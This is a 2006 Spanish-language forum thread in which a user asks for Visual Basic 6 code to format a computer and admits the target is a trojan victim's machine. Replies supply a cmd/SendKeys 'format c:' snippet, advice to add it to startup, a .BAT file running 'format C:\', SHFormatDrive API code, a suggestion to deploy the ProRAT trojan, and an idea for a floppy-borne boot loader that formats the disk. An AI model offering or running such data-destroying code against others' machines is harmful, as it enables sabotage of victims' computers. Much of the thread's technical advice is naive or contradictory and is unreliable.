Hola :D
Andube buscando aver si avia algo parecido a lo k voy a preguntar pero no encontre nada...
no se si alguien tengo un codigo en Visual Basic 6.0, para formatear una computadora????,, aver si alguien me lo puede proporcionar, o guiame un poco para hacerlo?? ;D
Private Sub Form_Load()
shell "cmd" ' shell nos permite ejecutar comandos del sistema y en este caso llamamos al dos
sendkeys "format c:" ´sendkeys escribe format C: en el cmd
sendkeys "{ENTER}" ´sendkeys "{enter}" manda los datos escritos
end
end sub
creo que ese codigo no funciona ya que el discoduro esta en uso y no te va a dejar formatearlo, pero si se reiniciara primero a lo mejor hubiera una posibilidad pero no estoy seguro ya que nunk lo he intentado
estoy de acuerdo con redshot, kreo k al usar windows, no te permite abra otro codigo de ayuda??
o bueno para cerrar una aplicacion en el administrador de tarea??, y eliminar el archivo k esta en la aplicacion ;)
La mejor forma para formatear es usando la API SHFormatDrive.
Aquí tienes un ejemplo:
(http://lucan.ddns.comp.nus.edu.sg/_layouts/images/SAVE.GIF)Descargar ejemplo de formatear con SHFormatDrive (http://www.vb-helper.com/HowTo/howto_format_disk.zip)
Cita de: redshots en 21 Marzo 2006, 05:40 AM
creo que ese codigo no funciona ya que el discoduro esta en uso y no te va a dejar formatearlo, pero si se reiniciara primero a lo mejor hubiera una posibilidad pero no estoy seguro ya que nunk lo he intentado
Funcionaria si se iniciara desde la consola de comandos en el arranque si se arranca con windows no funciona
Cita de: robokop en 21 Marzo 2006, 03:04 AM
Private Sub Form_Load()
shell "cmd" ' shell nos permite ejecutar comandos del sistema y en este caso llamamos al dos
sendkeys "format c:" ´sendkeys escribe format C: en el cmd
sendkeys "{ENTER}" ´sendkeys "{enter}" manda los datos escritos
end
end sub
Si, este es el codigo para formatear, pero lo que debes hacer es que tu programa se agregue al inicio del windows y listo ya con eso puedes formatear el PC...
esk en realidad, lo quiero para formatear la coputadora k tengo con una victima de un troyano, :-X,, pero grax!!, averiguare mas
Cita de: .:CorTeX:. en 21 Marzo 2006, 20:50 PM
Si, este es el codigo para formatear, pero lo que debes hacer es que tu programa se agregue al inicio del windows y listo ya con eso puedes formatear el PC...
esto no funcionaria ya que el disco duro en uso y windows corriendo...
Le subis el prorat y ya esta..
No seas cracker, dejalo vivir ::)
si e visto el prorat, y si tiene la utilidad esa
mm prorat, pero ami no me funcioa de conexion inversa, mm, tu sabes APOKLIPTICO , aver si me ayudas ;D
si
Mientras este corriendo el SO nunca vas a poder formatear la particion en la que esta intalado el SO.
Pero no se podria formatear todo eso en Modo a Prueba de Fallos? :S yo pregunto por saber, ya que en modo de fallos no hay nada ejecutado.. solo dos o tres procesos...
Soy noob en esto por eso pregunto...
Salu2
Ranslsad
Lo único que puedes hacer es ejecutar ese comando al reiniciar. ::)
ok, gracias por la informacion ;)
Salu2
Ranslsad
Lo que facilmente podras hacer es crear un Archivo .BAT Con lo siguiente:
format C:\
@Echo Disco formateado por -> repollolms
Si no sabes como crear un archivo .BAT de la manera mas sencilla..
Es haciendo un archivo TXT..
Creas un archivo de texto en el escritorio.. en el escribes lo q te acabo de decir
Luego le das "Guardar Como" Y Pones "Formateo.BAT" (Acuerdate siempre de la extensión .BAT)
Quizas esto te ayude:
Const SHFD_CAPACITY_DEFAULT = 0 ' default drive capacity
Const SHFD_CAPACITY_360 = 3 ' 360KB, applies to 5.25" drives only
Const SHFD_CAPACITY_720 = 5 ' 720KB, applies to 3.5" drives only
Const SHFD_FORMAT_QUICK = 0 ' quick format
Const SHFD_FORMAT_FULL = 1 ' full format
Const SHFD_FORMAT_SYSONLY = 2 ' copies system files only (Win95 Only!)
Private Declare Function SHFormatDrive Lib "shell32" (ByVal hwndOwner As Long, ByVal iDrive As Long, ByVal iCapacity As Long, ByVal iFormatType As Long) As Long
Private Sub Form_Load()
'KPD-Team 1999
'URL: http://www.allapi.net/
'E-Mail: KPDTeam@Allapi.net
'iDrive = The drive number to format. Drive A=0, B=1 (if present, otherwise C=1), and so on.
SHFormatDrive Me.hwnd, 0, SHFD_CAPACITY_DEFAULT, SHFD_FORMAT_QUICK
End Sub
Un saludo
DEJEMOS LAS COSAS MUY CLARAS
Porque creo que estan discutiendo bobadas, es imposible formatear el discoduro desde el que esta corriendo el SO, es de sentido comun.
Las formas que abeis dicho estan muy bien, pero para formatear un disquete o un pendrive pero tener en cuenta que una particion no se puede formatear si tiene algun archivo en uso.
Por ejemplo si window$ esta instalado en C, como quereis que se formatee el discoduro y que windows siga en marcha si abeis borrado todos sus archivos?????
Salu2
es practicamente imposible formatear un HD :P, pocos virus lo hicieron, uno fue creado por panda software....
igual no estoy totalmente seguro, menos en windows xp
Claro que no se puede, no puedes formatear un disco duro el cual debes utilizar para formatearlo...suena raro no? xD
Quizas se puede formatear desde otra particion, por ejemplo...
Lo que yo di puede ser valido para disketes, memorias usb,etc...pero no para el propio C:\
Cita de: BenRu en 1 Abril 2006, 14:25 PM
Claro que no se puede, no puedes formatear un disco duro el cual debes utilizar para formatearlo...suena raro no? xD
Quizas se puede formatear desde otra particion, por ejemplo...
Lo que yo di puede ser valido para disketes, memorias usb,etc...pero no para el propio C:\
Me suena de algo..... :huh:
Pue si c puede si c han fijado cuando Window$ inicia pues inicia desde MS-Dos pues seria abir ese file y poner antes k nada Format C: pero hay 2 cosas el problem aes que primero pide confirmacion (pues se le pone s y ya xD ;D) el problema es que eso no funciona para el sistema de archivos NTCS y ese es un pekeño problema
salu2 ;D
La solucion seria hacer un cargador de arranke o bajarsele de internet y que el programa detecte si se mete algun diskete, y en caso afirmativo, copia el cargador y si por descuido se le deja en la disketera, al iniciar se formateara y cuando comienze ya no habra remedio....
Salu2